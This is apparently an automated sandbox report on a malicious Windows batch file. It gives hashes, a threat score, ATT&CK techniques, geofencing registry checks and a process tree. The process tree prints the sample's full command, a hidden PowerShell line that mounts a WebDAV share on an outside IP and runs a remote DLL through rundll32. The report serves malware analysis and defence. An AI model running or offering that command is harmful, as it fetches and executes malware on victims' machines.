634b6479aa998ebb8b0dfc7111ba078972c19ecdafb67aed9c112c011c36acb9

Analysis

max time kernel
106s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
12-07-2024 08:51

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General

Target

3137250091390725801.bat
Size

2KB
MD5

fb27c72e4f5534a768b5c87f34fe19b0
SHA1

3b4522f7beaa58cb478a8ffcc567cd9f4f6a7381
SHA256

634b6479aa998ebb8b0dfc7111ba078972c19ecdafb67aed9c112c011c36acb9
SHA512

cf6f3b7ff67b8ca8695aa0e44f59b33915c1247e8b097b22b2c60ee714084c9012ee2288087af9f8985042796a9c4085d274e8df3f841e3a6cad08715721884d

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1384	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1384	powershell.exe
1384	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1384	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2752	wordpad.exe
2752	wordpad.exe
2752	wordpad.exe
2752	wordpad.exe
2752	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4624 wrote to memory of 2752	4624	cmd.exe	87
PID 4624 wrote to memory of 2752	4624	cmd.exe	87
PID 4624 wrote to memory of 1384	4624	cmd.exe	89
PID 4624 wrote to memory of 1384	4624	cmd.exe	89
PID 1384 wrote to memory of 4632	1384	powershell.exe	91
PID 1384 wrote to memory of 4632	1384	powershell.exe	91
PID 1384 wrote to memory of 3020	1384	powershell.exe	92
PID 1384 wrote to memory of 3020	1384	powershell.exe	92

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3137250091390725801.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4624
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3432.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1384
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:4632
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\3432.dll,entry
    3⤵
    PID:3020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:2668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iozkzp4n.zls.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1384-0-0x0000027B7B9B0000-0x0000027B7B9D2000-memory.dmp

Filesize
136KB

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